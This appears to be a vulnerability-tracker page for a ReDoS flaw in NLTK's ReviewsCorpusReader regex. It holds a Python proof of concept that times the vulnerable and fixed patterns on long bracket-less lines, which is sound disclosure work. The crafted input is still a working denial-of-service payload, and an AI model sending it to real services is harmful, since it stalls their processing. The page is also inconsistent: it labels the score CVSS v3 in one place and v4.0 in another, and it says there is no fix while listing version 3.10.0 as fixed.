CVE-2026-12061

HIGHPre-NVD 7.57.5
EchelonGraph scoreLOW confidence

This high-severity CVE scores 7.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
7.5EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 7.5Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

Summary

ReviewsCorpusReader extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time

--- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---

FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

--- Bounded variant from the fix (PR #3583): cap the per-label word run.

A generous bound (real feature labels are short noun phrases) makes the

run linear while never affecting legitimate corpora. ---

WORD_BOUND = 50 FEATURES_FIXED = re.compile( r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND )

TIMEOUT = 20.0 # seconds, per measurement SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line

def _bad_line(n_words): """A long line of plain words with NO trailing bracketed annotation.""" return ("word " * n_words).rstrip()

def _worker(pattern_str, line, q): pat = re.compile(pattern_str) t0 = time.perf_counter() pat.findall(line) q.put(time.perf_counter() - t0)

def timed_findall(pattern, line, timeout=TIMEOUT): """Run pattern.findall(line) in a killable process; return seconds or None (timeout).""" q = mp.Queue() p = mp.Process(target=_worker, args=(pattern.pattern, line, q)) p.start() p.join(timeout) if p.is_alive(): p.terminate() p.join() return None return q.get() if not q.empty() else None

def bench(label, pattern): print(f"\n[{label}] pattern: {pattern.pattern}") print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}") prev = None for n in SIZES: line = _bad_line(n) t = timed_findall(pattern, line) if t is None: print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}") prev = None else: ratio = f"{t/prev:.1f}x" if prev else "--" print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}") prev = t

def parity_check(): """The bound must NOT change extraction on a realistic annotated line.""" real = ( "the picture quality[+2] and battery life[+1] are great but " "the lens cap[-1] feels cheap and the menu system[-2] is slow" ) a = FEATURES_VULN.findall(real) b = FEATURES_FIXED.findall(real) print("\n[parity] realistic annotated line — extraction must be identical") print(f" vulnerable regex -> {a}") print(f" bounded regex -> {b}") print(f" identical: {a == b}") return a == b

def main(): print("=" * 66) print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)") print("=" * 66) print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}")

bench("VULNERABLE reviews.py L70-71", FEATURES_VULN) bench("BOUNDED fix #3583", FEATURES_FIXED) same = parity_check()

print("\n" + "=" * 66) print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS") print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms") print(f" Extraction parity on real annotations preserved: {same}") print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().") print("=" * 66)

if __name__ == "__main__": main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

CVSS v3
7.5
EG Score
7.5(low)
EG Risk
38(Track)
EG Risk 38/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity75% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

July 31, 2026

Last Modified

July 31, 2026

Vendor Advisories for CVE-2026-12061(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
nltk0.8 ... 3.9b1 (65 versions)3.10.0

Data Freshness Timeline

(refreshed 0× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-31 17:08 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-12061?
CVE-2026-12061 is a high vulnerability published on July 31, 2026. Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex Summary ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label…
When was CVE-2026-12061 disclosed?
CVE-2026-12061 was first published in the National Vulnerability Database on July 31, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-12061?
CVE-2026-12061 has a CVSS v4.0 base score of 7.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-12061?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-12061, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

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